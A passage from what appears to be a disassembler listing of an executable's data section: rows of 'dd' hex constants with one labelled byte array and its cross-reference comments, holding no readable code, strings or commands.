		dd 52E30C82h, 0D8BC2C86h, 0B2C3DF03h, 0B9343F13h, 442045D1h
		dd 294107BEh, 0C15165B4h, 0F14C40DDh, 0D5C8FC67h, 7A625007h
		dd 296060DAh, 1D90B219h, 404C582Dh, 0DA730E4h, 0B000BE11h
		dd 5B9D3A0Fh, 60FEFC92h, 55BA3AA5h, 0EC00B6A4h,	5684344Fh
		dd 781035Bh, 78799444h,	8006D471h, 4A31AFDAh, 0F8A53400h
		dd 48AC13A8h, 0B119006Ah, 961CB8Ah, 0A60E5235h,	0C07A36F0h
		dd 6470CFA8h, 744200CEh, 5BC4168Fh, 3B00F0F7h, 14BBA2CAh
		dd 32643EA0h, 1B111AC6h, 2610497h, 1080B6CFh, 298162D7h
		dd 0A035B03h, 0DC0650F9h, 0EAF8D8CBh, 0A6B01D99h, 65A9C0BBh
		dd 0AAAD79BAh, 7D0083FEh, 30D6DBDAh, 0EC6A06h, 0FB7F3103h
		dd 4B7AD7Ah, 0A150A200h, 3A2711B0h, 83F478h, 74E04E61h
		dd 0D1A68E71h, 66B09F5Fh, 0A0770033h, 3E79AE96h, 1B005E9Dh
		dd 0C6E0E663h, 192F966h, 0F45CBC1Ch, 0ACB6A9FFh, 803D4711h
		dd 506385B7h, 1987760Ah, 5CC8ACB0h, 0DBB6FC8Bh,	3E9CE203h
		dd 0B0DCCEB2h, 63A92h, 0EE89D637h, 0ED3430F2h, 0BC1D7200h
		dd 0C75B741Ch, 0FA2D3E40h, 0F85C6E80h, 0AAE1D6D3h, 0DC8A860Eh
		dd 859A00F5h, 15837359h, 0AC2137E3h, 0E80E2C00h, 1280440Ch
		dd 0B0A8650Eh, 877FE268h, 6A5D6042h, 0C0E554FEh, 251100DCh
		dd 3D0A2C43h, 74012149h, 9B9187E7h, 4DEC97A3h, 7E3C2429h
		dd 0FBC20323h, 0E0D8AB84h, 0E0C0B62Ah, 57829ED8h, 0D4F5067Ah
		dd 409418F0h, 45E3B803h, 0B8C31B67h, 0F1709F9h,	0EEA94875h
		dd 0B50A7D83h, 33AC4806h, 24A62Eh, 5843DE32h, 7B718BC9h
		dd 0C16E350Bh, 29ED00C7h, 0F49E81h, 15AE0CB3h, 7335994Fh
		dd 0BE136D04h, 0EDEC2001h, 811DA500h, 0AA5F91A9h, 8806450h
		dd 39B86D00h, 0B514F645h, 749E00A1h, 0D0338154h, 0DE00DDF1h
		dd 2ACA6B4Ch, 12791666h, 0EE8BA0h, 0C5A394C2h, 3D793AE5h
		dd 9DDB4401h, 34AB1D25h, 9109C080h, 436F9C0h, 9345E500h
		dd 0AD3B2A4Ah, 31E900C1h, 9B1D35FFh, 75140787h,	3DD8885Eh
		dd 4FC414h, 4602F609h, 90AF17A9h, 4EF32000h, 2496D60Dh
		dd 3AFC00FDh, 0DE10644Dh, 0F8006F54h, 0EBE7F997h, 2E125EFh
		dd 0F578705Ch, 48409933h, 3800ADD1h, 3F7A0653h,	0C72CD2h
		dd 1DBD2396h, 688F1B35h, 7C1F5F0Eh, 3405BFEFh, 0F043BE2Bh
		dd 3D986D6h, 0AAD47C49h, 0E800375Dh, 57D3FFE7h,	0E4F32D64h
		dd 0D320477h, 90FA422Ah, 97A05CE8h, 0D80A55F8h,	6C0EDAABh
		dd 0C0A84403h, 0B9B4E813h, 9E200EDDh, 0A2609553h, 198D8626h
		dd 3B0F3075h, 610955E2h, 278B220Eh, 8776024h, 438A7A45h
		dd 80E0EB88h, 264F2F05h, 91F986Eh, 7900E3F7h, 0C3FE27B9h
		dd 5059005Fh, 0EFADA1Fh, 0D300221Ch, 46B2FC7Ah,	432EAAh
		dd 9B924994h, 676165C9h, 0D2A72C00h, 0BFAE236Eh, 57C603F8h
		dd 0C3721074h, 9AB38FD8h, 39011BFAh, 7D285BFEh,	0C5F009C8h
		dd 0CCF9009Dh, 0D2F50A4Dh, 0A90076C6h, 4CA202BBh, 28DFB1E4h
		dd 0FFE5EDh, 821D8ADAh,	91378C2Dh, 7FC62803h, 0D84429ABh
		dd 56873Ch, 5F7C7851h, 0C6BA9A18h, 6609D900h, 8DF94560h
		dd 0B9940070h, 5F319F37h, 0E80C6F8Bh, 701482A5h, 883D00E1h
		dd 0A63FEED9h, 0CA383948h, 2D9180ACh, 4324171Ch, 0A1C81496h
		dd 780FDC13h, 0EAE0ABC5h, 925F474Ch, 3B152F01h,	0BD71CFBEh
		dd 3E4D60h, 49B74FA3h
		dd 0EBCDE887h, 0C6DA1D0Eh, 0BFB640EEh, 0AC395Eh, 7D8C01F4h
		dd 7454B00Eh, 0E17245B8h, 0E0992412h, 78CB7840h, 92970912h
		dd 85F500A0h, 1171F6C2h, 6900AD2Ch, 3BE2C7A7h, 5F2AC9h
		dd 76487973h, 0AFA19C5Ch, 9DBD2000h, 0E3E8EBEEh, 1AECF9EAh
		dd 1561001Eh, 0FD6E55D5h, 950F9BD0h, 15929F2h, 1ADC2D50h
		dd 925448DAh, 94E412D4h, 0F274408Bh, 6DCE9542h,	5331C600h
		dd 0B60296E7h, 0C1103A0Ch, 0FF8900F4h, 0D6C9E8CCh, 5200CEFAh
		dd 155FC526h, 8C376Ah, 3351ACFh, 0F384D5EEh, 5801F577h
		dd 7759BD7Bh, 0C3408344h, 301A3C63h, 0AA81167h,	0B5587E6Dh
		dd 4AE0001Ah, 5A53D2C8h, 8B2100E2h, 371078F6h, 1023572h
		dd 0CBE60750h, 4B0C4057h, 5DA50030h, 0AF26D0D6h, 7500218Ah
		dd 57F5995Bh, 0EECA712Eh, 2ACC00FCh, 3BFA8E8h, 0E600B835h
		dd 2BB69046h, 4B8A06h, 8B36F4DBh, 377CCC24h, 7E6030F7h
		dd 7F72EB04h, 8334EAh, 5A14B83Ah, 4A5E0028h, 10BAF788h
		dd 180087BCh, 9456D51Ah, 13DDFF2Fh, 1ED27CE4h, 68DC80D2h
		dd 0B74EB64Bh, 0B112BB03h, 8050E8D8h, 384EEEBh,	85800854h
		dd 0D0F8AA67h, 9EA05509h, 0B0F4B10h, 4EB30EF6h,	35DDC022h
		dd 69C076h, 0DC2B63CAh,	9BD1731Dh, 7842EF00h, 0BB758907h
		dd 133400A5h, 0AF824681h, 0AB002857h, 0E53E40D2h, 0D44E765Eh
		dd 541D608Ch, 0F463007Dh, 0AAB29BECh, 0B1FFBB09h, 671027A6h
		dd 349CC7C0h, 0B420B2A9h, 71A63CAEh, 2DC88048h,	73CFC6F6h
		dd 0BD5F9524h, 0FEFB0Eh, 5A776DB5h, 39B85Dh, 0B110FA3Dh
		dd 50709A9Dh, 0E53C7D00h, 4AA6D2ECh, 449E3A8Eh,	0C8F0A92h
		dd 3580B511h, 0B678D70Eh, 0BA915861h, 0BEC600C0h, 8262641Eh
		dd 0A0BA18B1h, 84E78F26h, 0D7BE6080h, 0E9B66DB0h, 1E991458h
		dd 330BE02h, 503206C7h,	49D91AA0h, 820D0h, 0C8A780B4h
		dd 3C9A5D18h, 0E12FDF77h, 0E70F465Eh, 0F4D2E03Dh, 3D9BAE12h
		dd 0A11C071Dh, 0D83441DEh, 0DDE1F3E6h, 629180E2h, 1C131893h
		dd 0B1AC0035h, 0B6D7E66Fh, 0DBF39C6Dh, 9A2829BEh, 3031747Ch
		dd 57B8A048h, 598005D1h, 1DF8DA95h, 9900ADA7h, 165D7B97h
		dd 9F7D52h, 76A3E16Bh, 0CD213A15h, 0DED69800h, 0AFC9D047h
		dd 0C0C80064h, 9555B365h, 0E43B2DF4h, 7F0B80B6h, 4AE563FEh
		dd 0C24803DFh, 0B8EAA85Bh, 85B3BD80h, 0B9D4ED00h, 0E9FF2920h
		dd 0A9D700DEh, 0A34E5AC5h, 0B1C7A495h, 24940CEEh, 568470A7h
		dd 0ED8700B1h, 0B398F1h, 0C069BAABh, 12384B97h,	0E1A4900h
		dd 0D22B3620h, 6AFA00B9h, 7B3B1DEEh, 6B00ED30h,	96A0468Bh
		dd 2739FA1h, 0A4A4FC0h,	40FBE22h, 0D2142171h, 0E35E113h
		dd 0DD5F55ACh, 9A860026h, 6B8824ECh, 67226103h,	0D8462AFCh
		dd 14449ADh, 3DB83FE2h,	83C5D4BFh, 1C186C8Ch, 562CB05Dh
		dd 861D00BCh, 0D7425ECCh, 0B005C1Fh, 0A658B49Ch, 0C2323Eh
		dd 4F0E4E46h, 0D841A73Fh, 1054FF00h, 61D230D1h,	3487FC2h
		dd 9A3389FEh, 1E904DEEh, 6A015F90h, 9AE6CA8h, 13F83D7Eh
		dd 480E0042h, 3C431573h, 4A3CF3E7h, 250C82D7h, 402E46A0h
		dd 11E54C0h, 208C8524h,	31E0C740h, 0D10EF8E4h, 5E71FF00h
		dd 0BAB1559Dh, 33A9077Dh, 0E0BD8B3Ah, 730F614Fh, 9D685100h
		dd 41BB2536h, 6E7F00B9h, 19DE6D2Eh, 0A81DDBE2h,	0D941945Fh
		dd 0AE1E41E3h, 98BD6083h, 11B644E4h, 88D8EC00h,	139D4DC8h
		dd 0C4732572h, 89B29480h, 1075B04Eh, 0E2EAD602h, 58DD8440h
		dd 0F1AF0318h, 0A08D8B4Bh, 0C430382Ch, 8E79BB87h, 0CA648F70h
		dd 1FA44B6Ah, 31FE8770h, 0BF0250EBh, 577F687Ah,	78FB700h
		dd 2CD0D176h, 79D700B9h, 0E16E5AB8h, 826C0DCh, 10EB484h
		dd 0FD78F85Fh, 59275859h, 168ECF00h, 132D1DBDh,	0ECB47403h
		dd 0E8265790h, 0F07965D4h, 0F5FB0073h, 1DA32F0Eh, 28B03C84h
		dd 0A8FCA00h, 0AFCFE4D5h, 0A7182CC6h, 950587E4h, 0E6BD40B2h
		dd 5A069D3Ch, 58CFDEB8h, 0C2BE0021h, 71054AD0h,	0A900B774h
		dd 491694C8h, 72382Ch, 3A10E047h, 7637C4E2h, 0BCCE5B32h
		dd 48EEE1FCh, 1E1B46F8h, 0C077F303h, 40AB276h, 0CCE1CF0Ch
		dd 0B61EC16Eh, 0A0C0C9B1h, 0EE298051h, 4981B00Dh, 981EC802h
		dd 4DF400D4h, 0F0C0473Eh, 901CDCF1h, 0BF967407h, 0E05F1F79h
		dd 85B712BAh, 0B1EE034Fh, 0D9DAC1C6h, 0ED6B0BE0h, 92980600h
		dd 0E61E9F8h, 0AE0309F4h, 4C00FDE0h, 0DB4EF7BAh, 0C01ECF00h
		dd 789B4239h, 0DE09D1Ah, 0DE03E380h, 0B97A67D1h, 57ADF8C3h
		dd 9E1F0C5h, 0A85CAE95h, 8E552020h, 1100B64Ch, 0E3EFD5B3h
		dd 60D847h, 2C4B614Dh, 4C58734h, 648CD400h, 821ADF0Dh
		dd 0F44A0B17h, 0F087CDFEh, 2AD5504Bh, 300553F2h, 2687C645h
		dd 32F96090h, 9AF0F0Bh,	0B5C594ABh, 1DACC178h, 0D07BF8D3h
		dd 24C23626h, 0F829ED80h, 0A02F862Eh, 89B551A8h, 9B1070E7h
		dd 0DFDDE401h, 47B98F45h, 91006428h, 0E77F2E92h, 8D009A08h
		dd 4F3FBA4Eh, 78A16F4h,	383DE297h, 94C0902Bh, 1000AE50h
		dd 0A6DE63C2h, 0C735EFh, 972CFD83h, 0BEC8B21Bh,	3C5F6604h
		dd 7F8148EEh, 72C8AEE8h, 787400A0h, 28D63185h, 672ED962h
		dd 0C500B451h, 0D3A2F3D5h, 87E90481h, 0C0139259h, 7FBAB61Ch
		dd 1F31930Ch, 0C89191Ch, 0DBDE644Ah, 400E7211h,	600AABD3h
		dd 0C7420B30h, 54710EC4h, 8B004D22h, 20763C5h, 1D01A205h
		dd 0C7008369h, 0B78AD27Bh, 0CC7C5Eh, 0E370474Dh, 0B8569F46h
		dd 4C13A600h, 0A57D3D2Bh, 0C63800E8h, 4328C181h, 0F0960C6Ah
		dd 0C0ED118Eh, 3A802D96h, 0A3B8A0BAh, 0E650008h, 67557AF2h
		dd 600F4F50h, 0A004E827h, 0E1129162h, 95D50041h, 0A911EE3Bh
		dd 0BF00B70Fh, 8CCFCBFAh, 0B8940362h, 995F00F0h, 1AC0A9B3h
		dd 4186319h, 78F885A5h,	5CD30046h, 9EDAA152h, 2E0B4B14h
		dd 8F743Eh, 0E651DE14h,	8EF500FAh, 9A325F7Eh, 7A0CF1BAh
		dd 112786CBh, 83F00F2h,	0D518BBA5h, 951E253Eh, 34020ADh
		dd 6A516C0Ch, 331300CEh, 94B22FC5h, 4D078F67h, 74884A39h
		dd 9EF1C191h, 0E4217DECh, 992B1D5Ah, 4F9DD660h,	0D5C125ACh
		dd 0E4613909h, 0E200261Dh, 0FA32FED4h, 91285Bh,	0E0A7BA54h
		dd 0B812E769h, 10C66100h, 2CE1CC7Eh, 5AF011h, 41BF9179h
		dd 3B5153AAh, 8054D83Bh, 9E853034h, 1EDDC22h, 0A89DBD2Bh
		dd 0E8B880CDh, 0D70393C1h, 237BDA71h, 530E813h,	0D90F002Eh
		dd 799B1148h, 0AA034D81h, 0DEE69DBCh, 39E1B00Eh, 40FA90h
		dd 0FDE8FE7Eh, 20BC415Eh, 0EEE76812h, 859D3FC0h, 0DFF90972h
		dd 5D87D456h, 28A41B3Ah, 8000841Dh, 94DE110h, 8872FE00h
		dd 4406CB01h, 7ED125A7h, 6E625C80h, 1707B257h, 0E4776F1Bh
		dd 59A01421h, 0A068C20h, 47608C9Ah, 3F0407F8h, 7AFF104Bh
		dd 4D09E86Dh, 8FE519D8h, 0E670C701h, 0AD819EBEh, 2E13CCEBh
		dd 0AB0CF040h, 0A85D9083h, 2E1E18A4h, 3C216109h, 0A50EEF00h
		dd 0A8F2DC21h, 4391A200h, 0FE8CF0ECh, 49130038h, 3BB9BB20h
		dd 2C2CFA33h, 340365ADh, 880D6E2Bh, 1552DA7h, 0ECE348E2h
		dd 0E0865B44h, 0DB005F76h, 2AC0BC1Ah, 0E8179Bh,	620EE513h
		dd 41E0EEB8h, 2E003274h, 0A7977196h, 78493154h,	3F5E00E6h
		dd 991A47F1h, 0F81DEECCh, 8239D578h, 1E770A9h, 27E048A8h
		dd 7F68010Eh, 5606B82Ch, 0B1267093h, 0DC11C800h, 3EC912Ah
		dd 38ED0088h, 0CA0CB9B2h, 0C8001C07h, 61F02E9Ch, 26431A81h
		dd 0B035CBh, 49E397Eh
		dd 0E4A8A365h
		db 0E2h
byte_530055	db 23h,	5, 0Bh		; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		dd 0F08D4F89h, 0E05F984Eh, 0ACD94A0Dh, 0C6A40068h, 2605C203h
		dd 65002260h, 0FD8BC306h, 1CFE2561h, 9E994023h,	0F0C9C7BEh
		dd 60651232h, 3400A452h, 0A7D3E63Ah, 0CECA78h, 0DEF749D7h
		dd 836DA91Fh, 20D93525h, 0B69B64C0h, 20FE6E9Dh,	0E48FD6CEh
		dd 743D0742h, 0F102059h, 0D3F97022h, 3E0278C8h,	9BB1CA1Eh
		dd 25FF3B4Fh, 44027E9Ah, 5AE6A1E7h, 81A1C10h, 3200FEC5h
		dd 8635C780h, 0BA18829Ah, 0E378151Eh, 0BE262A93h, 0C6A70094h
		dd 7723B978h, 0C11F0218h, 3B000B59h, 0D48058A2h, 9C344C56h
		dd 0AE329817h, 821BF4C0h, 7F66F22Bh, 0DE2700E6h, 725162C1h
		dd 8900E016h, 6025B0B6h, 90C4F0h, 0EEBFA45Bh, 0CE0A01D9h
		dd 260D8F00h, 0BCC5B5B9h, 8F589FD4h, 842DA600h,	1BD95CB8h
		dd 25D600F2h, 63621987h, 6A01F10Eh, 950A6E17h, 85C0E845h
		dd 0C1BF00CEh, 0EDE3C478h, 16711F8Dh, 92AF2E03h, 0D726A283h
		dd 4894893Bh, 1FBE0h, 166DBF74h, 0FE9A18D7h, 21F008CCh
		dd 740900A6h, 0AD17CFB9h, 0BD007E49h, 35E122B1h, 78C3A32Eh
		dd 1ABA0AB0h, 41DC930Fh, 0D863B874h, 0DE3E9E9Bh, 8A6B3B7h
		dd 5D210077h, 0EF8463B0h, 5091CD0Dh, 0BE029100h, 0D4A19Ch
		dd 0D838905Fh, 0F2CA849Eh, 70B01600h, 0A5EEDDA7h, 0C0037126h
		dd 0DE391A38h, 0BC62F568h, 0CD4B920h, 0CA1E1469h, 2030C141h
		dd 41CDD6B8h, 0E58402CCh, 11740830h, 880E6DAAh,	0F0A580F2h
		dd 217AC974h, 5D2C4501h, 0A7AD7C1Ch, 1B1EB8D3h,	1A6D3049h
		dd 71F7CC68h, 0B806ED42h, 10DE91F6h, 8F626C00h,	79B65E17h
		dd 0D8DA3A15h, 0CCA1E300h, 8E992E98h, 0B50ECEFCh, 0A0F79566h
		dd 51C7D43h, 3DDE0002h,	3C46A7E7h, 0FC0039FFh, 2C1924ACh
		dd 21C531h, 0F765C95Ch,	0EE7F7274h, 0FFEC5700h,	0D0F80EAFh
		dd 62A90C4Bh, 0CC409BD2h, 48421030h, 0BBDCAFh, 6D4C6BECh
		dd 0B70A24A9h, 7C99C800h, 942D37D6h, 2C8B009Ch,	208CC34Dh
		dd 7A07B9D8h, 0C50A7CA8h, 4A6A3DC0h, 9B923FA3h,	3C81E03Dh
		dd 2EC6ADC9h, 8EC1C44Ch, 6667800h, 0EEF84610h, 0F920C738h
		dd 76287131h, 0C3108F30h, 0F224E119h, 80BADB4Fh, 6D16A8E0h
		dd 0B600BAFDh, 0DDC1947Fh, 69E1D36h, 3C39EF38h,	0B06311B1h
		dd 0E6D7C108h, 0EE340021h, 50FBDA76h, 360EAFFAh, 40BB0B6Ah
		dd 8A46C10Fh, 399F0C3Ah, 3429F55Eh, 0A23288h, 0BBED16Ah
		dd 1F95FCD9h, 611EECEBh, 0F51CFB00h, 79F067Eh, 0CE3100BAh
		dd 74C6753Bh, 0F60085C8h, 8340BD6Dh, 17138114h,	7381FDCh
		dd 301204A9h, 0F48751F3h, 2696BE01h, 0F60A2AB2h, 0E5ACC0h
		dd 0E1927590h, 0CB3E88EFh, 6E7058h, 0A00F22C7h,	13EB85F4h
		dd 37E4A1h, 0E5718B7Bh,	21006E68h, 0F5B3471Dh, 40C5AAh
		dd 0D0E3A89Bh, 5CF39EEAh, 0EE6B200h, 2B4EFCDh, 26C600DAh
		dd 8BFF57FAh, 23051D24h, 91CAC12h, 0BB8DA400h, 6D4C2F3h
		dd 9874DE53h, 0AA00A12Dh, 69D589D0h, 0EFC6F84h,	9293C352h
		dd 0FA2C620h, 0FCE191A4h, 0E41E5D74h, 95007149h, 0F8DC67DEh
		dd 585500BCh, 7C80FB26h, 9F000437h, 0BD6BE373h,	32DBAFh
		dd 5EE4194h, 0FDD16E90h, 55A48400h, 0B644E56Bh,	391D1F63h
		dd 0BB7240DAh, 0CA27FF62h, 18005375h, 4D3FEDABh, 1214D246h
		dd 1ED74F4Eh, 111E8008h, 0FC261317h, 3AE02700h,	40CE7DFEh
		dd 8087005Ch, 1DFA4BD5h, 0A6008CF7h, 64BBB6B9h,	702B6609h
		dd 0DC3B012Eh, 87EA5310h, 85CFFC42h, 0EB9EF000h, 0E6DF4F91h
		dd 0C0C70027h, 6A5A8B94h, 0C600D806h, 88CBC84Eh, 1EB5DB98h
		dd 4B642F09h, 1800BF3Ah, 9C8CA39Bh, 3287A00h, 0B1470EE4h
		dd 0A07500A6h, 2E2D78B6h, 0F5046A7Dh, 0F83D9D5Bh, 7C590A80h
		dd 0BBE401FDh, 0C5390C65h, 0A5964044h, 0A824F0B6h, 1A007C29h
		dd 0CF4DA024h, 26E00DBh, 0B479D77Bh, 0E00C52Dh,	0EDA85BA2h
		dd 6CDC57h, 0EC88A437h,	9D7EEE62h, 0B3F57200h, 1F32A617h
		dd 0D7390647h, 98749667h, 0F0726828h, 9F131D00h, 5D037F8Eh
		dd 0DD6C006Bh, 0FCE6BC1Ch, 8006A2A0h, 0CAC94125h, 2CBA0339h
		dd 6C6DF0D0h, 0B38B1000h, 0FFDB9079h, 0D4376354h, 0C09EDF3Bh
		dd 0E2F6B200h, 763AF969h, 78CC3EC2h, 492C8400h,	4D560E24h
		dd 67EED100h, 8A292BBBh, 0F77B05AEh, 80945CD0h,	9D85E622h
		dd 25E0FDFCh, 0DB00E2F0h, 61016A79h, 0E97055h, 0A6E60688h
		dd 0EB08BD8Ah, 206E4Dh,	7634F65h, 0F72D962h, 2AFA5A8Ch
		dd 7003AEC9h, 0A0DF3948h, 89A49D2Ch, 5DFED100h,	0A3120EC3h
		dd 0BD171C4Eh, 0D6AE0009h, 0EED232D9h, 48800F60h, 7BF32C96h
		dd 30C06073h, 0A9348782h, 0FFA7900h, 338813E4h,	36E340C8h
		dd 214D7C1Eh, 312911B0h, 2F64180Dh, 1016A899h, 1EF4B2Eh
		dd 6A210501h, 30C4DE0Fh, 81A00227h, 0FD8280DDh,	0C01B4049h
		dd 74F6CA49h, 79C07100h, 9366D1D5h, 873B172Bh, 342DF039h
		dd 51309767h, 60DDE850h, 4BA40038h, 7AF3EA5Ch, 66007ECAh
		dd 42FCB87Dh, 0A59452h,	15B4277Ch, 7E6A54CFh, 808CCB3Bh
		dd 1891B853h, 871F38h, 34A85EBEh, 0E2729EFBh, 437D9F0Ch
		dd 38F6B0h, 0FA1B8010h,	4BA1D132h, 0D84ABD00h, 4E1FEB71h
		dd 14A272C7h, 0EA6639B3h, 89D33B00h, 0A6694D33h, 815C2AE8h
		dd 5488001Eh, 7719A892h, 8EE6000Ah, 0A6950422h,	321C465Dh
		dd 502DCA0h, 0C0E28342h, 77F285h, 91B6CF4Eh, 1BFA7DBDh
		dd 2579EC00h, 0FE76D3C4h, 0B7D91F48h, 113121Fh,	590D7F10h
		dd 0AEFCE050h, 808BAB38h, 99B8B7BCh, 35890Eh, 0D1341F41h
		dd 0E5E74EF5h, 3327EB00h, 9CB750D5h, 0BE6C01C5h, 0A7A5ABD7h
		dd 3D9080DEh, 0D623617h, 8ED0042h, 3BA881CCh, 0E8395EA4h
		dd 294D80E5h, 23789355h, 3C7600D4h, 40CDD9D3h, 0C900A37Ah
		dd 22A69B24h, 18109C2Ah, 0B08E07A4h, 6C003B8Ah,	0F5EE6BB4h
		dd 3D6F63Ch, 65B34B62h,	95807801h, 98B0DF4Dh, 0A5004574h
		dd 9463BD3Bh, 475FF6h, 0E48416BAh, 0E233A08Dh, 417F9D0Eh
		dd 0EC2C60B4h, 7295E3D8h, 1290085h, 571C4919h, 84907BCFh
		dd 668BE000h, 6883260Eh, 884F00A9h, 9D1E3ACDh, 3205C427h
		dd 391FF164h, 0C009C4BEh, 0BB4FAD54h, 3F02F57Dh, 673D5B4Bh
		dd 0F2BC8012h, 0E879DDh, 4FA64A98h, 5D695CF5h, 596A7000h
		dd 0CBBE15BFh, 33E0015Bh, 0AF4C807h, 53B4302Fh,	80229B3Bh
		dd 47ED350Eh, 3B218819h, 0F9839360h, 87634B9Ch,	9FB7E0D7h
		dd 0F8500D32h, 6C000C8Ch, 0FE1C2DA1h, 0B9A4CB2h, 325C96BDh
		dd 0DD007E8Eh, 683DEAF6h, 334EA200h, 0E46D6B06h, 563938CAh
		dd 0AB31FC80h, 97919446h, 0D60D401h, 2C6AFE0Eh,	1830AC31h
		dd 113817F9h, 0DF5C407Bh, 0EE0DF8D4h, 7C4B70C0h, 234DDBh
		dd 0F4A0952h, 74AF75F6h, 8DD02500h, 0C0E9584Fh,	0BFF70086h
		dd 9DB34391h, 693EC676h, 0D86085C1h, 54D080C4h,	1E94E0h
		dd 0BB34C004h, 42D0216Fh, 97FA481Fh, 4773B280h,	17055E37h
		dd 40DAE793h, 0EFD57A8h, 42197227h, 64082171h, 3063B9D0h
		dd 3B982D5h, 9403EE81h,	8B4A745Ah, 0E78EA07Ah, 8A20C669h
		dd 67061082h, 0A0E0CEA2h, 0C9A93E20h, 7029380Ah, 2E5B02F0h
		dd 74623162h, 66402C0Eh, 0CBBDD119h, 8309DD3Ah,	822C1F83h
		dd 9971C841h, 315B71F1h, 34385C31h, 0E493C05Eh,	2A060A9h
		dd 0D22B036Ah, 0B52198A0h, 82C96421h, 7A94E215h, 4B7DEB00h
		dd 0C18F82Bh, 0C6D4FECEh, 0DD0108B8h, 6AC903B1h, 25604CB8h
		dd 5776DFh, 0E624FA3Eh
		dd 1F23EB0Bh, 7C0097EAh, 0FC6525A7h, 3DFA45Ah, 0A6881B6Fh
		dd 27E08AE0h, 3EF82345h, 0C630FC90h, 4BD0B1D5h,	5E3107C9h
		dd 56822E1Ah, 0CA600822h, 0C9137121h, 59A31E3Ch, 326F4CD5h
		dd 5648E848h, 9F506494h, 30144863h, 8828725Eh, 5F9A87C4h
		dd 9F6570C9h, 0A0CF7EDAh, 4793A4D4h, 59649011h,	0C94C6063h
		dd 125E2338h, 7600CF11h, 0DB1CC914h, 0E4009AF4h, 818B93E0h
		dd 240355h, 0FF2DDA90h,	0FD4DBC5h, 98B0483Eh, 7E7183EAh
		dd 7DE80093h, 9423221h,	0D2E79A19h, 67009444h, 7002E88Bh
		dd 1490813h, 1C32F9A0h,	80DC1F2Dh, 1281ACB8h, 60BF4A9Fh
		dd 0D2617029h, 0AD00AACBh, 4E3183D9h, 1FEC433Fh, 802277A0h
		dd 0C5B7A987h, 0B90010A8h, 0D1E354ADh, 0F4E52D6Ch, 7069845h
		dd 0AA55110Dh, 5613077h, 4E000627h, 73BFC4ABh, 607520A9h
		dd 7B572DBh, 4B1F8751h,	0A2001181h, 0E185B177h,	609EF199h
		dd 324A017Ah, 0C4B3E7BEh, 5B0FD883h, 40B5182Fh,	48AA87E1h
		dd 0E31A3002h, 67A8A520h, 0B800E2B0h, 9A132FE8h, 5CFA4D73h
		dd 745026h, 52DF4E58h, 0A89559E1h, 5B1E4300h, 660890F7h
		dd 9DF10F4Ch, 0E8009AF5h, 84EF32EAh, 73637000h,	5F21EEBh
		dd 12D91BC9h, 20E3A116h, 18645898h, 2300F8FCh, 0F0E59BA0h
		dd 30FF1B78h, 7F808BC3h, 13E8DA63h, 7C063D70h, 6F30CE0Eh
		dd 743500E9h, 16B71D0Ch, 7A60BAE8h, 0D3842A18h,	36A50058h
		dd 0A172C24Ah, 8C017037h, 98C816C5h, 0F88007B1h, 0DABEA45Fh
		dd 0C600EF7Ch, 0EC7F7A9Bh, 553308h, 79ED9231h, 564C2513h
		dd 0BF8F5909h, 0CDEC001Ah, 31903DF5h, 7C0805D4h, 95208179h
		dd 12CB82F2h, 819DF8h, 0D0BCAB4Fh, 0E6673374h, 46A80207h
		dd 0E4C05199h, 0F830846Ch, 10CA0F4Ch, 9A809E4Dh, 65F8DF0h
		dd 0DAFB0700h, 0CA52FE88h, 384F6CFCh, 0F9005F89h, 55EA9379h
		dd 30DA3A01h, 0C8403373h, 6830A259h, 0FC362942h, 0ABB2014Eh
		dd 0F94C7105h, 3D089B1Dh, 4EF4D821h, 1C8A00ECh,	7C047DAFh
		dd 6103D728h, 0F8EADDF6h, 0E597C87Eh, 0FA3A06FBh, 69996B80h
		dd 87ED846h, 0F5ABB44Eh, 3402CC4h, 6DDC4E12h, 0D893A606h
		dd 24B03527h, 0DD6890h,	0B180B457h, 0E03C6732h,	4E8D8015h
		dd 86B8395Eh, 54EF0046h, 0F68F7251h, 23EA266Eh,	0F182B507h
		dd 8E30688Ch, 71D13147h, 5B91F018h, 52EC7Ch, 205DEA0Bh
		dd 0FD864Eh, 5E137E96h,	0BBC569AFh, 9ABF4500h, 0B301D4A7h
		dd 49FF00A8h, 6511A38Bh, 7F74811Dh, 69594D00h, 9ED7E4A7h
		dd 9B33136Bh, 0E2DC006Ch, 1681A9F4h, 1EFC1B74h,	0D5614E00h
		dd 0BA4D9D2Ah, 75A533E1h, 21006908h, 64D599E7h,	2BB253h
		dd 0EBA48C3Ch, 97FBE0EFh, 0A92E1F00h, 0D44184E8h, 0A22F00FDh
		dd 9394EAC9h, 0EF03B158h, 0C66B5A18h, 1298E80Bh, 0E72C0167h
		dd 0D6AF6C51h, 8040B902h, 854A869Ch, 6EE3757h, 0A370281Bh
		dd 9E186198h, 6915F11h,	16931EB5h, 0D7F7C04Eh, 522E6A5h
		dd 628923Fh, 0D00F910Ah, 9E7B0678h, 38B2862Dh, 63892E00h
		dd 925BE4A3h, 301A19C2h, 94AD085Ah, 2A46C21h, 81862AFCh
		dd 0E8888114h, 0E2D5B65Dh, 98EF8988h, 4BC61FBCh, 91A81398h
		dd 0F6993E25h, 36FE2960h, 710F86FDh, 2C9A94E1h,	0C7F208E0h
		dd 603E5E21h, 0A57D05F0h, 8A2151C0h, 0EDDA88h, 9B93D763h
		dd 78683646h, 0A6178601h, 2A24FE5Eh, 0F11FD882h, 0B0A0BA44h
		dd 0F34A16DEh, 0BC543500h, 141059ABh, 2C763929h, 0DDE300FDh
		dd 9EC9404Dh, 0A900F521h, 0ABEE1E15h, 0B8BC4Eh,	66B25ECh
		dd 0E4019888h, 0DE00DDE4h, 740E9CFEh, 7CAFA41h,	0AC4889B0h
		dd 0AA628079h, 883C4E61h, 0C7998163h, 8C657F0h,	5CBC6980h
		dd 28F216Bh, 0CDC08300h, 4684C862h, 0D3231F03h,	37D44071h
		dd 85CBC313h, 0C12D6000h, 0C8A3DB28h, 7A0A0548h, 0C0902009h
		dd 5F22356Fh, 0E7434F07h, 74F16F61h, 0FF05D8Dh,	28277C5Ch
		dd 0E8DF54h, 4083AC8Ch,	7AC93601h, 8518AFF6h, 3C992A4Bh
		dd 1E0C0043h, 214857D6h, 5C00C26Ah, 0B1D58CAAh,	9D740F34h
		dd 0F2CAF900h, 738EC13h, 2C50000Ch, 0D2DC2B3Bh,	0AB4000Dh
		dd 39AD5CCFh, 0AC3E88F6h, 273600E7h, 7FBFD5B5h,	0C44F3EFDh
		dd 0CCED1Fh, 0D8B74E19h, 1A06EEE7h, 0A6ECAD58h,	0D5ED1D40h
		dd 778BC0DCh, 0A086CB78h, 0FB581400h, 0E4278853h, 9A300B4h
